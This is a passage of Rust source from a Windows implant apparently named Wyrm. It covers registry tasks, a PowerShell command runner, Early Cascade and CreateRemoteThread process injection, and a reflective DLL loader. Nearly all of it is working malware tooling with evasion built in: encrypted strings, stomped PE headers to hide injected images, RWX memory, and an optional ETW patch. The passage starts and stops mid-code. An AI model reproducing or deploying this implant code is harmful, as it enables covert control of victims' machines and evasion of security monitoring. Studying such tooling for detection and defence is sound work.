RegQueryInner, RegType}, tasks::WyrmResult, }; use str_crypter::{decrypt_string, sc}; use windows_registry::{CLASSES_ROOT, CURRENT_USER, Key, LOCAL_MACHINE, Transaction, USERS, Value}; use crate::utils::console::print_failed; pub fn reg_query(raw_input: &Option<String>) -> Option<impl Serialize> { let input_deser = match raw_input { Some(s) => match serde_json::from_str::<RegQueryInner>(s) { Ok(s) => s, Err(e) => { return Some(WyrmResult::Err(format!( "{} {e}", sc!("Error deserialising query data.", 19).unwrap(), ))); } }, None => { return Some(WyrmResult::Err(format!( "{}", sc!( "No query data received, cannot continue executing task.", 42 ) .unwrap(), ))); } }; // Check if we have 2 args if let Some(val) = input_deser.1 { return query_key_plus_value(input_deser.0, val); } else { return query_key(input_deser.0); } } pub fn reg_del(raw_input: &Option<String>) -> Option<impl Serialize> { let input_deser = match raw_input { Some(s) => match serde_json::from_str::<RegQueryInner>(s) { Ok(s) => s, Err(e) => { return Some(WyrmResult::Err(format!( "{} {e}", sc!("Error deserialising query data.", 19).unwrap(), ))); } }, None => { return Some(WyrmResult::Err(format!( "{}", sc!("No data on inner field, cannot continue with task.", 19).unwrap(), ))); } }; // Check if we have 2 args if let Some(val) = input_deser.1 { return delete_reg_value(input_deser.0, val); } else { return delete_key(input_deser.0); } } pub fn reg_add(raw_input: &Option<String>) -> Option<impl Serialize> { let (path, value, data, reg_type) = match raw_input { Some(s) => match serde_json::from_str::<RegAddInner>(s) { Ok(s) => s, Err(e) => { return Some(WyrmResult::Err(format!( "{} {e}", sc!("Error deserialising query data.", 19).unwrap(), ))); } }, None => { return Some(WyrmResult::Err(format!( "{}", sc!("No query data cannot continue with task.", 19).unwrap(), ))); } }; let (opened, path_stripped) = match get_key_strip_hive(&path) { Some((k, p)) => (k, p), None => { return Some(WyrmResult::Err::<String>( sc!("Bad data - could not find matching hive.", 162).unwrap(), )); } }; // // Do the operation // if let Ok(tx) = Transaction::new() { // Try open the key let opened = match opened .options() .read() .write() .create() .transaction(&tx) .open(&path_stripped) { Ok(o) => o, Err(e) => { return Some(WyrmResult::Err::<String>(format!( "{} {e}", sc!("Could not open key as read/write.", 162).unwrap() ))); } }; // Set the value depending on the input type let reg_set_op_res = match reg_type { RegType::String => opened.set_string(&value, data.clone()), RegType::U32 => { let data_u32: u32 = match data.clone().parse() { Ok(d) => d, Err(e) => { return Some(WyrmResult::Err::<String>(format!( "{} {e}", sc!("Could not parse input to u64.", 162).unwrap() ))); } }; opened.set_u32(&value, data_u32) } RegType::U64 => { let data_u64: u64 = match data.clone().parse() { Ok(d) => d, Err(e) => { return Some(WyrmResult::Err::<String>(format!( "{} {e}", sc!("Could not parse input to u64.", 162).unwrap() ))); } }; opened.set_u64(&value, data_u64) } }; // Check if the above was successful if let Err(e) = reg_set_op_res { return Some(WyrmResult::Err::<String>(format!( "{} {path} {value} {e}", sc!("Error whilst trying to set registry value.", 162).unwrap() ))); } // Make the transaction if let Err(e) = tx.commit() { return Some(WyrmResult::Err::<String>(format!( "{} {e}", sc!("Error committing registry transaction.", 167).unwrap() ))); } return Some(WyrmResult::Ok::<String>( sc!("Successfully modified registry.", 135).unwrap(), )); } return Some(WyrmResult::Err::<String>( sc!("Could not create transaction.", 168).unwrap(), )); } fn query_key_plus_value(path: String, value: String) -> Option<WyrmResult<String>> { // // Try open the hive, in the event of an error - return // let (key, path_stripped) = match get_key_strip_hive(&path) { Some((k, p)) => (k, p), None => { return Some(WyrmResult::Err::<String>( sc!("Bad data - could not find matching hive.", 162).unwrap(), )); } }; let open_key = match key.open(path_stripped) { Ok(k) => k, Err(e) => { let msg = format!("{} {path}. {e}", sc!("Could not open key.", 19).unwrap()); #[cfg(debug_assertions)] print_failed(&msg); return Some(WyrmResult::Err(msg)); } }; let val_str = match open_key.get_value(&value) { Ok(v) => value_to_string(&v), Err(e) => { let msg = format!( "{} {path} {value}. {e}", sc!("Could not open key/value.", 19).unwrap() ); return Some(WyrmResult::Err(msg)); } }; Some(WyrmResult::Ok(val_str)) } fn query_key(path: String) -> Option<WyrmResult<String>> { // // Try open the hive, in the event of an error - return // let (key, path_stripped) = match get_key_strip_hive(&path) { Some((k, p)) => (k, p), None => { return Some(WyrmResult::Err::<String>( sc!("Bad data - could not find matching hive.", 162).unwrap(), )); } }; let open_key = match key.open(path_stripped) { Ok(k) => k, Err(e) => { let msg = format!("{} {path} - {e}", sc!("Could not open key.", 19).unwrap()); return Some(WyrmResult::Err(msg)); } }; // // As we are querying the keys/values themselves, we need to iterate through it // let mut constructed_result = RegQueryResult::default(); if let Ok(keys) = open_key.keys() { for k in keys { constructed_result.subkeys.push(k.clone()); } } // We got the values, so iterate them - we need to reconstruct everything as a string to send back if let Ok(vals) = open_key.values() { for (name, data) in vals { let mut data_as_str = value_to_string(&data); let name = if name.is_empty() { "(default)".to_string() } else { name }; if data_as_str.is_empty() { data_as_str = String::from("(empty)"); } constructed_result .values .insert(name.clone(), data_as_str.clone()); } } if constructed_result.subkeys.is_empty() && constructed_result.values.is_empty() { return Some(WyrmResult::Ok(sc!("No data in key.", 71).unwrap())); } match serde_json::to_string(&constructed_result) { Ok(s) => Some(WyrmResult::Ok(s)), Err(e) => { let msg = format!("{}. {e}", sc!("Could not serialise data.", 84).unwrap()); Some(WyrmResult::Err(msg)) } } } fn value_to_string(data: &Value) -> String { match data.ty() { windows_registry::Type::U32 => val_u32_to_str(&data), windows_registry::Type::U64 => val_u64_to_str(&data), windows_registry::Type::String => val_string_to_str(&data.to_vec()), windows_registry::Type::ExpandString => val_string_to_str(&data.to_vec()), windows_registry::Type::MultiString => val_string_to_str(&data.to_vec()), windows_registry::Type::Bytes => val_bytes_to_str(&data), windows_registry::Type::Other(_) => String::from("Not implemented"), } } fn val_u32_to_str(value: &Value) -> String { u32::from_le_bytes(value[0..4].try_into().unwrap()).to_string() } fn val_u64_to_str(value: &Value) -> String { u64::from_le_bytes(value[0..8].try_into().unwrap()).to_string() } fn val_bytes_to_str(value: &Value) -> String { let mut builder = String::new(); for b in value.to_vec() { builder.push_str(&format!("{b:#X}, ")); } // Trim the last whitespace + comma let len = builder.len(); let builder = builder[0..len - 2].to_string(); builder } fn val_string_to_str(value: &[u8]) -> String { if value.len() < 2 { return String::new(); } let u16_slice = unsafe { from_raw_parts(value.as_ptr() as *const u16, value.len() / 2) }; String::from_utf16_lossy(u16_slice) } fn strip_hive<'a>(path: &'a str) -> Result<&'a str, RegistryError> { let hive = match path.split_once(r"\") { Some(s) => s.1, None => return Err(RegistryError::CannotExtractKey), }; Ok(hive) } /// Gets the hive from a given input str fn extract_hive_from_str<'a>(path: &'a str) -> Result<&'a Key, RegistryError> { let hive = match path.split_once(r"\") { Some(s) => s.0, None => return Err(RegistryError::CannotExtractKey), }; let key = match hive { "HKCU" => CURRENT_USER, "HKEY_CURRENT_USER" => CURRENT_USER, "HKLM" => LOCAL_MACHINE, "HKEY_LOCAL_MACHINE" => LOCAL_MACHINE, "HKCR" => CLASSES_ROOT, "HKEY_CLASSES_ROOT" => CLASSES_ROOT, "HKU" => USERS, "HKEY_USERS" => USERS, _ => return Err(RegistryError::CannotExtractKey), }; Ok(key) } pub enum RegistryError { CannotExtractKey, } fn get_key_strip_hive<'a>(path: &'a str) -> Option<(&'a Key, &'a str)> { let key = match extract_hive_from_str(path) { Ok(k) => k, Err(_) => return None, }; let path_stripped = match strip_hive(path) { Ok(p) => p, Err(_) => { return None; } }; Some((key, path_stripped)) } fn delete_key(path: String) -> Option<WyrmResult<String>> { // // Try open the hive, in the event of an error - return // let (key, path_stripped) = match get_key_strip_hive(&path) { Some((k, p)) => (k, p), None => { return Some(WyrmResult::Err::<String>( sc!("Bad data - could not find matching hive.", 162).unwrap(), )); } }; if let Err(e) = key.remove_tree(path_stripped) { return Some(WyrmResult::Err::<String>(format!( "{} {path}. {e}", sc!("Could not delete key, searching for: ", 162).unwrap(), ))); }; return Some(WyrmResult::Ok::<String>(sc!("Deleted key.", 162).unwrap())); } fn delete_reg_value(path: String, value: String) -> Option<WyrmResult<String>> { // // Try open the hive, in the event of an error - return // let (key, path_stripped) = match get_key_strip_hive(&path) { Some((k, p)) => (k, p), None => { return Some(WyrmResult::Err::<String>( sc!("Bad data - could not find matching hive.", 162).unwrap(), )); } }; let open_key = match key.options().read().write().open(path_stripped) { Ok(k) => k, Err(e) => { let msg = format!("{} {path} - {e}", sc!("Could not open key.", 19).unwrap()); return Some(WyrmResult::Err(msg)); } }; if let Err(e) = open_key.remove_value(value) { return Some(WyrmResult::Err::<String>(format!( "{} {e}", sc!("Could not delete key. Error: ", 162).unwrap(), ))); }; return Some(WyrmResult::Ok::<String>(sc!("Deleted key.", 162).unwrap())); } ================================================ FILE: implant/src/native/shell.rs ================================================ use std::process::Command; use serde::Serialize; use shared::tasks::PowershellOutput; use crate::wyrm::Wyrm; pub fn run_powershell(command: &Option<String>, implant: &Wyrm) -> Option<impl Serialize + use<>> { let command = command.as_ref()?; let output = Command::new("powershell") .arg(command) .current_dir(&implant.current_working_directory) .output() .ok()?; let stdout = String::from_utf8_lossy(&output.stdout).to_string(); let stderr = String::from_utf8_lossy(&output.stderr).to_string(); let stdout = if stdout.is_empty() { None } else { Some(stdout) }; let stderr = if stderr.is_empty() { None } else { Some(stderr) }; Some(PowershellOutput { stdout, stderr }) } ================================================ FILE: implant/src/spawn_inject/early_cascade.rs ================================================ use std::{ffi::c_void, ptr::null_mut}; use shared::tasks::WyrmResult; use shared_no_std::{ export_resolver::{ExportError, find_entrypoint_from_unmapped_image}, memory::{EarlyCascadePointers, locate_shim_pointers}, }; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::{ Foundation::{CloseHandle, FALSE, GetLastError, HANDLE}, System::{ Diagnostics::Debug::WriteProcessMemory, Memory::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAllocEx, VirtualProtectEx, }, Threading::{ CREATE_SUSPENDED, CreateProcessA, GetProcessId, PROCESS_INFORMATION, ResumeThread, STARTUPINFOA, }, }, }; use crate::{ dbgprint, utils::{console::print_failed, pe_stomp::stomp_pe_header_bytes}, }; pub(super) fn early_cascade_spawn_child(mut buf: Vec<u8>, spawn_as: &str) -> WyrmResult<String> { // // Create the process in a suspended state, using the image specified by either the user (TODO) or // svchost as the default image. // let mut pi = PROCESS_INFORMATION::default(); let mut si = STARTUPINFOA::default(); si.cb = size_of::<STARTUPINFOA>() as u32; let spawn_as = if !spawn_as.ends_with('\0') { let mut s = spawn_as.to_string(); s.push('\0'); s } else { spawn_as.to_string() }; let result_create_process = unsafe { CreateProcessA( null_mut(), spawn_as.as_ptr() as _, null_mut(), null_mut(), FALSE, CREATE_SUSPENDED, null_mut(), null_mut(), &si as *const STARTUPINFOA, &mut pi as *mut PROCESS_INFORMATION, ) }; // Check if we were successful.. if result_create_process == 0 { let msg = format!( "{} {:#X}", sc!("Failed to create process. Error code:", 71).unwrap(), unsafe { GetLastError() } ); #[cfg(debug_assertions)] { use crate::utils::console::print_failed; print_failed(&msg); } return WyrmResult::Err::<String>(msg); } // // Allocate the memory + copy our process image in (stomping some indicators in the process of) // let p_alloc = match write_image_rw(pi.hProcess, &mut buf) { Ok(p) => p, Err(e) => { let msg = format!( "{} {e:#X}", sc!("Failed to write process memory:", 71).unwrap() ); dbgprint!("{}", msg); unsafe { CloseHandle(pi.hThread) }; unsafe { CloseHandle(pi.hProcess) }; return WyrmResult::Err::<String>(msg); } }; // // Now the image is loaded in memory; we need to find the `Shim` export which is a small stub that sets the // stage for the rDLL stub to run in the newly created process. // let p_start = match find_entrypoint_from_unmapped_image(&buf, p_alloc as _, "Shim") { Ok(p) => p, Err(e) => { unsafe { CloseHandle(pi.hThread) }; unsafe { CloseHandle(pi.hProcess) }; let msg = match e { ExportError::ImageTooSmall => sc!("ImageTooSmall", 19).unwrap(), ExportError::ImageUnaligned => sc!("ImageUnaligned", 19).unwrap(), ExportError::ExportNotFound => sc!("ExportNotFound", 19).unwrap(), ExportError::BadImageDelta => sc!("BadImageDelta", 19).unwrap(), }; #[cfg(debug_assertions)] { use crate::utils::console::print_failed; print_failed(&msg); } return WyrmResult::Err(msg); } }; // rotr it for the ntdll pointer encryption compliance let p_start = encode_system_ptr(p_start); // // Mark memory RWX // let mut old_protect = 0; let _ = unsafe { VirtualProtectEx( pi.hProcess, p_alloc, buf.len(), PAGE_EXECUTE_READWRITE, &mut old_protect, ) }; let Ok(shim_addresses) = locate_shim_pointers() else { unsafe { CloseHandle(pi.hThread) }; unsafe { CloseHandle(pi.hProcess) }; let msg = sc!("Could not find shim addresses.", 179).unwrap(); dbgprint!("{}", msg); return WyrmResult::Err(msg); }; if let Err(e) = execute_early_cascade(shim_addresses, pi.hProcess, p_start) { unsafe { CloseHandle(pi.hThread) }; unsafe { CloseHandle(pi.hProcess) }; dbgprint!("{}", e); return WyrmResult::Err(e); } unsafe { ResumeThread(pi.hThread) }; unsafe { CloseHandle(pi.hThread) }; unsafe { CloseHandle(pi.hProcess) }; let ok_msg = sc!("Process created via Early Cascade Injection.", 19).unwrap(); dbgprint!("{}", ok_msg); WyrmResult::Ok(ok_msg) } /// Overwrites addresses in the target process which are required to enable the Early Cascade technique as documented: /// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/ fn execute_early_cascade( ptrs: EarlyCascadePointers, h_proc: HANDLE, stub_addr: *const c_void, ) -> Result<(), String> { // // Patch g_pfnSE_DllLoaded to point to the `Shim` bootstrap stub in the rDLL // let mut bytes_written = 0; let buf = stub_addr as usize; let result = unsafe { WriteProcessMemory( h_proc, ptrs.p_g_pfnse_dll_loaded, &buf as *const _ as *const _, size_of::<usize>(), &mut bytes_written, ) }; if result == 0 { let gle = unsafe { GetLastError() }; let msg = format!( "{} {gle:#X}", sc!("Failed to patch p_g_pfnse_dll_loaded. Win32 error:", 104).unwrap() ); return Err(msg); } // // Patch g_ShimsEnabled to = 1 to enable the mechanism on process start // let mut bytes_written = 0; let buf = 1u8; let result = unsafe { WriteProcessMemory( h_proc, ptrs.p_g_shims_enabled as _, &buf as *const _ as *const _, 1, &mut bytes_written, ) }; if result == 0 { let gle = unsafe { GetLastError() }; let msg = format!( "{} {gle:#X}", sc!("Failed to patch p_g_shims_enabled. Win32 error:", 104).unwrap() ); return Err(msg); } Ok(()) } /// Allocates and writes memory pages in a remote process with `PAGE_READWRITE` protection /// with the content of some user specified buffer. /// /// # Returns /// If successful will return the address of the allocation; if it fails, will return the error /// produced from calling `GetLastError` fn write_image_rw(h_process: HANDLE, buf: &mut Vec<u8>) -> Result<*const c_void, u32> { let pid = unsafe { GetProcessId(h_process) }; if pid == 0 { let gle = unsafe { GetLastError() }; return Err(gle); } let p_alloc = unsafe { VirtualAllocEx( h_process, null_mut(), buf.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) }; if p_alloc.is_null() { return Err(unsafe { GetLastError() }); } // // Before copying the memory we will stomp some indicators that we are injecting a PE // such as the MZ and "This program.." // stomp_pe_header_bytes(buf); // // Now write the memory // let res = unsafe { WriteProcessMemory(h_process, p_alloc, buf.as_ptr() as _, buf.len(), null_mut()) }; if res == 0 { print_failed(sc!("Failed to write process memory for command spawn.", 86).unwrap()); return Err(unsafe { GetLastError() }); } Ok(p_alloc) } // Thanks to -> https://github.com/0xNinjaCyclone/EarlyCascade/blob/main/main.c#L82 // -> https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html fn encode_system_ptr(ptr: *const c_void) -> *const c_void { // // from the blog: // note: since many ntdll pointers are encrypted, we can’t just set the pointer to our // target address. We have to encrypt it first. Luckily, the key is the same value and // stored at the same location across all processes. // // get pointer cookie from SharedUserData!Cookie (0x330) let cookie = unsafe { *(0x7FFE0330 as *const u32) }; // rotr64 let ptr_val = ptr as usize; let xored = cookie as usize ^ ptr_val; let rotated = xored.rotate_right((cookie & 0x3F) as u32); rotated as *const c_void } ================================================ FILE: implant/src/spawn_inject/injection.rs ================================================ use std::{ffi::c_void, mem::transmute, ptr::null_mut}; use shared::tasks::WyrmResult; use shared_no_std::export_resolver::{ ExportError, calculate_memory_delta, find_entrypoint_from_unmapped_image, find_export_from_unmapped_file, }; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::{ Foundation::{CloseHandle, FALSE, GetLastError, INVALID_HANDLE_VALUE}, System::{ Diagnostics::Debug::WriteProcessMemory, Memory::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAllocEx, VirtualProtectEx, }, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}, }, }; use crate::utils::console::print_info; pub fn virgin_inject(buf: &[u8], pid: u32) -> WyrmResult<String> { let h_process = unsafe { OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) }; if h_process.is_null() || h_process == INVALID_HANDLE_VALUE { let gle = unsafe { GetLastError() }; return WyrmResult::Err(format!( "{} {gle:#X}", sc!("Failed to open process.", 176).unwrap() )); } let p_alloc = unsafe { VirtualAllocEx( h_process, null_mut(), buf.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) }; if p_alloc.is_null() { let gle = unsafe { GetLastError() }; unsafe { CloseHandle(h_process) }; return WyrmResult::Err(format!( "{} {gle:#X}", sc!("Failed to allocate RW memory.", 173).unwrap() )); } // // Write the DLL content // let mut out = 0; unsafe { WriteProcessMemory(h_process, p_alloc, buf.as_ptr() as _, buf.len(), &mut out) }; if out == 0 { unsafe { CloseHandle(h_process) }; return WyrmResult::Err(sc!("Failed to write remote memory.", 173).unwrap()); } // // Resolve the entry address // let p_entry = match find_entrypoint_from_unmapped_image(&buf, p_alloc, "Load") { Ok(p) => unsafe { transmute::<_, extern "system" fn(_: *mut core::ffi::c_void) -> u32>(p) }, Err(e) => { unsafe { CloseHandle(h_process) }; let msg = match e { ExportError::ImageTooSmall => sc!("ImageTooSmall", 19).unwrap(), ExportError::ImageUnaligned => sc!("ImageUnaligned", 19).unwrap(), ExportError::ExportNotFound => sc!("ExportNotFound", 19).unwrap(), ExportError::BadImageDelta => sc!("BadImageDelta", 19).unwrap(), }; #[cfg(debug_assertions)] { use crate::utils::console::print_failed; print_failed(&msg); } return WyrmResult::Err(msg); } }; // // Mark mem rwx // let mut old_protect = 0; let vp = unsafe { VirtualProtectEx( h_process, p_alloc, buf.len(), PAGE_EXECUTE_READWRITE, &mut old_protect, ) }; if vp == 0 { let gle = unsafe { GetLastError() }; unsafe { CloseHandle(h_process) }; return WyrmResult::Err(format!( "{} {gle:#X}", sc!("Failed to change protection on remote memory.", 173).unwrap() )); } let mut thread_id = 0; #[cfg(debug_assertions)] { print_info(format!("Alloc: {:p}, load_fn: {:p}", p_alloc, p_entry)); } let h_thread = unsafe { CreateRemoteThread( h_process, null_mut(), 0, Some(p_entry), null_mut(), 0, &mut thread_id, ) }; if h_thread.is_null() { let gle = unsafe { GetLastError() }; unsafe { CloseHandle(h_process) }; return WyrmResult::Err(format!( "{} {gle:#X}", sc!("Failed to create remote thread.", 173).unwrap() )); } WyrmResult::Ok(format!( "{} {pid}", sc!("Injected into process", 159).unwrap() )) } ================================================ FILE: implant/src/spawn_inject/mod.rs ================================================ //! A module for loading / injecting Wyrm into other / new processes. use shared::tasks::WyrmResult; use crate::spawn_inject::{early_cascade::early_cascade_spawn_child, injection::virgin_inject}; pub mod early_cascade; mod injection; pub enum SpawnMethod { EarlyCascade, } pub enum InjectMethod { /// Classic CreateRemoteThread... Virgin, } pub struct Inject; impl Inject { pub fn inject_wyrm(buf: &[u8], method: InjectMethod, pid: u32) -> WyrmResult<String> { match method { InjectMethod::Virgin => virgin_inject(buf, pid), } } } pub struct Spawn; impl Spawn { pub fn spawn_child(buf: Vec<u8>, method: SpawnMethod, spawn_as: &str) -> WyrmResult<String> { match method { SpawnMethod::EarlyCascade => early_cascade_spawn_child(buf, spawn_as), } } } ================================================ FILE: implant/src/stubs/mod.rs ================================================ //! A module containing publicly exported stubs that are 'context independent' pub mod rdi; pub mod shim; ================================================ FILE: implant/src/stubs/rdi.rs ================================================ //! Reflective DLL injector for Wyrm. //! //! This assumes that the DLL is loaded into memory by a wrapper around us which has its own base //! address. //! //! This module should be FULLY NO_STD. use core::{ ffi::c_void, mem::transmute, ptr::{copy_nonoverlapping, null_mut, read_unaligned, write_unaligned}, }; use shared_no_std::export_resolver::{self, find_export_address}; use windows_sys::{ Win32::{ Foundation::{FARPROC, HANDLE, HMODULE}, System::{ Diagnostics::Debug::{ IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, IMAGE_SECTION_HEADER, }, Memory::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_NOACCESS, PAGE_PROTECTION_FLAGS, PAGE_READONLY, PAGE_READWRITE, PAGE_WRITECOPY, VIRTUAL_ALLOCATION_TYPE, }, SystemServices::{ IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, }, WindowsProgramming::IMAGE_THUNK_DATA64, }, }, core::PCSTR, }; // // FFI definitions for functions we require for the RDI to work; note these do NOT use evasion techniques such as // direct/indirect syscalls or any other magic (for now, maybe they will be locked features). // type VirtualAlloc = unsafe extern "system" fn( *const core::ffi::c_void, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS, ) -> *mut c_void; type LoadLibraryA = unsafe extern "system" fn(PCSTR) -> HMODULE; type VirtualProtect = unsafe extern "system" fn( *const core::ffi::c_void, usize, PAGE_PROTECTION_FLAGS, *mut PAGE_PROTECTION_FLAGS, ) -> windows_sys::core::BOOL; type GetProcAddress = unsafe extern "system" fn(HMODULE, PCSTR) -> FARPROC; type FlushInstructionCache = unsafe extern "system" fn(HANDLE, *mut c_void, usize) -> windows_sys::core::BOOL; type GetCurrentProcess = unsafe extern "system" fn() -> HANDLE; /// Function pointers for the Reflective DLL Injector to use. #[allow(non_snake_case)] struct RdiExports { LoadLibraryA: LoadLibraryA, VirtualAlloc: VirtualAlloc, VirtualProtect: VirtualProtect, GetProcAddresS: GetProcAddress, FlushInstructionCache: FlushInstructionCache, GetCurrentProcess: GetCurrentProcess, } impl RdiExports { /// Construct a new [`RdiExports`] by resolving the address of the respective functions in their DLL. Note that these /// DLLs either must already be loaded, or the [`RdiExports::new`] function needs to be amended to load those DLLs in /// via LoadLibrary or other mechanism to be successful. /// /// If the function fails to resolve all functions, it will return `None` #[inline(always)] fn new() -> Option<Self> { // // Resolve the function addresses from the respective DLL's, note these should be loaded in the process or this // will fail // let lla = export_resolver::resolve_address("kernel32.dll", "LoadLibraryA", None) .unwrap_or_default(); let virtual_alloc = export_resolver::resolve_address("kernel32.dll", "VirtualAlloc", None) .unwrap_or_default(); let vp = export_resolver::resolve_address("kernel32.dll", "VirtualProtect", None) .unwrap_or_default(); let gpa = export_resolver::resolve_address("kernel32.dll", "GetProcAddress", None) .unwrap_or_default(); let fic = export_resolver::resolve_address("kernel32.dll", "FlushInstructionCache", None) .unwrap_or_default(); let curproc = export_resolver::resolve_address("kernel32.dll", "GetCurrentProcess", None) .unwrap_or_default(); // // Validate everything was resolved correctly // if lla.is_null() || virtual_alloc.is_null() || vp.is_null() || gpa.is_null() || fic.is_null() || curproc.is_null() { return None; } unsafe { // // Cast as fn ptrs correctly // let lla = transmute::<_, LoadLibraryA>(lla); let virtual_alloc = transmute::<_, VirtualAlloc>(virtual_alloc); let vp = transmute::<_, VirtualProtect>(vp); let gpa = transmute::<_, GetProcAddress>(gpa); let fic = transmute::<_, FlushInstructionCache>(fic); let curproc = transmute::<_, GetCurrentProcess>(curproc); Some(Self { LoadLibraryA: lla, VirtualAlloc: virtual_alloc, VirtualProtect: vp, GetProcAddresS: gpa, FlushInstructionCache: fic, GetCurrentProcess: curproc, }) } } } #[repr(u32)] enum RdiErrorCodes { Success = 0, CouldNotParseExports, RelocationsNull, MalformedVirtualAddress, ImportDescriptorNull, NoEntry, } /// The entrypoint for the reflective DLL loading. We must take in the base address of our module that /// we wish to do work on. Any loader must call our Load export with the allocation base address. #[unsafe(no_mangle)] pub unsafe extern "system" fn Load(image_base: *mut c_void) -> u32 { // // Resolve function pointers for Windows API fns we need in the RDI // let Some(exports) = RdiExports::new() else { // We could not resolve all the required function pointers return RdiErrorCodes::CouldNotParseExports as _; }; #[cfg(feature = "patch_etw")] { nostd_patch_etw_current_process(&exports); } // If we successfully get an image base from ourselves, use that let image_base = match calculate_image_base() { Some(img) => img, None => image_base, }; // // Allocate fresh memory and copy sections over assuming we are from an unaligned region of memory // let image_base = unsafe { let dos_header = read_unaligned(image_base as *const IMAGE_DOS_HEADER); let nt = read_unaligned( image_base.add(dos_header.e_lfanew as usize) as *const IMAGE_NT_HEADERS64 ); let p_alloc = (exports.VirtualAlloc)( null_mut(), nt.OptionalHeader.SizeOfImage as usize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if p_alloc.is_null() { return 0xff; } let nt_ptr = image_base.add(dos_header.e_lfanew as usize) as *const u8; write_payload(p_alloc, image_base as *mut u8, nt_ptr, &nt); p_alloc }; // // Parse the headers // let dos_header = unsafe { read_unaligned(image_base as *const IMAGE_DOS_HEADER) }; let nt_offset = dos_header.e_lfanew as usize; let p_nt_headers = (image_base as usize + nt_offset) as *mut IMAGE_NT_HEADERS64; // // process image relocations // let data_dir = unsafe { read_unaligned(p_nt_headers) } .OptionalHeader .DataDirectory; let relocations_ptr = ((image_base as usize) + data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize) as *mut IMAGE_BASE_RELOCATION; if relocations_ptr.is_null() { return RdiErrorCodes::RelocationsNull as _; } process_relocations(image_base, p_nt_headers, &data_dir); // // Resolve imports from IAT // if data_dir[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress == 0 { return RdiErrorCodes::MalformedVirtualAddress as _; } let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = get_addr_as_rva( image_base as _, data_dir[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize, ); if import_descriptor_ptr.is_null() { return RdiErrorCodes::ImportDescriptorNull as _; } // // Resolve the import address table // patch_iat(image_base, import_descriptor_ptr, &exports); relocate_and_commit(image_base, p_nt_headers, &exports); // Search by the export of the actual Start from the RDL if let Some(f) = find_export_address(image_base, p_nt_headers, "Start") { unsafe { f() }; RdiErrorCodes::Success as _ } else { RdiErrorCodes::NoEntry as _ } } #[inline(always)] fn relocate_and_commit( p_base: *mut c_void, p_nt_headers: *mut IMAGE_NT_HEADERS64, exports: &RdiExports, ) { unsafe { // RVA of the first IMAGE_SECTION_HEADER in the PE file let section_header_ptr = get_addr_as_rva::<IMAGE_SECTION_HEADER>( core::ptr::addr_of!((*p_nt_headers).OptionalHeader) as *const _ as _, (*p_nt_headers).FileHeader.SizeOfOptionalHeader as usize, ); // // Loop through each section in the PE (.text, .rdata etc) and set the expected protections // for i in 0..(*p_nt_headers).FileHeader.NumberOfSections { let mut protect = 0; let mut old_protect = 0; let p_section_header = read_unaligned(section_header_ptr.add(i as _)); // A pointer to where it is actually loaded (base + RVA) let p_target = p_base .cast::<u8>() .add(p_section_header.VirtualAddress as usize); let section_raw_size = p_section_header.SizeOfRawData as usize; // // Now apply the relevant flags depending upon the intention // let is_x = p_section_header.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0; let is_r = p_section_header.Characteristics & IMAGE_SCN_MEM_READ != 0; let is_w = p_section_header.Characteristics & IMAGE_SCN_MEM_WRITE != 0; if !is_x && !is_r && !is_w { protect = PAGE_NOACCESS; } if is_w { protect = PAGE_WRITECOPY; } if is_r { protect = PAGE_READONLY; } if is_w && is_r { protect = PAGE_READWRITE; } if is_x { protect = PAGE_EXECUTE; } if is_x && is_r { protect = PAGE_EXECUTE_READ; } if is_x && is_w && is_r { protect = PAGE_EXECUTE_READWRITE; } // Change the protection (exports.VirtualProtect)( p_target as *const _, section_raw_size, protect, &mut old_protect, ); } // Flush to prevent stale instruction cache (exports.FlushInstructionCache)((exports.GetCurrentProcess)(), null_mut(), 0); } } #[inline(always)] fn process_relocations( p_image_base: *mut c_void, p_nt_headers: *mut IMAGE_NT_HEADERS64, data_dir: &[IMAGE_DATA_DIRECTORY; 16], ) { unsafe { // Calculate the diff between where the DLL actually loaded vs where it was compiled to load let load_diff = p_image_base as isize - (*p_nt_headers).OptionalHeader.ImageBase as isize; let reloc_rva = data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize; let reloc_size = data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; // Calculate the actual addresses for the start and end of the relocation table let reloc_start = (p_image_base as usize + reloc_rva) as usize; let reloc_end = reloc_start + reloc_size; let mut p_img_base_relocation = reloc_start as *mut IMAGE_BASE_RELOCATION; // // iterate through each IMAGE_BASE_RELOCATION block in the relocation table // while (p_img_base_relocation as usize) < reloc_end && (*p_img_base_relocation).SizeOfBlock as usize >= size_of::<IMAGE_BASE_RELOCATION>() && (*p_img_base_relocation).VirtualAddress != 0 { // First relocation item let item = (p_img_base_relocation as *mut u8).add(size_of::<IMAGE_BASE_RELOCATION>()) as *const u16; // How many relocations to process let num_relocations = 